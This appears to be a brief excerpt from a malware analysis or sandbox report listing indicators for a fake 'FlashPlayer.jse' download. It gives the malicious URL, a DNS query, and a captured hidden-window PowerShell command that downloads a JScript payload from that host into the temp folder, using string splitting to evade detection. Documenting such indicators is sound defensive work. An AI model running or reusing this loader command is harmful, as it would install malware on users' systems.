Technical Information
- http+s://xux4rbuscapdf.net/73195302449241/1525602317391059/flashplayer.jse as $d
- DNS ASK xu####uscapdf.net
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $d=$env:temp+[char][byte]92+'1688956453716.js';(New-Object System.Net.WebClient).DownloadFile('http'+'s://xux4rbuscapdf.net/73195302449241/1525602317391059/FlashPlayer.jse',...' (with hidden window)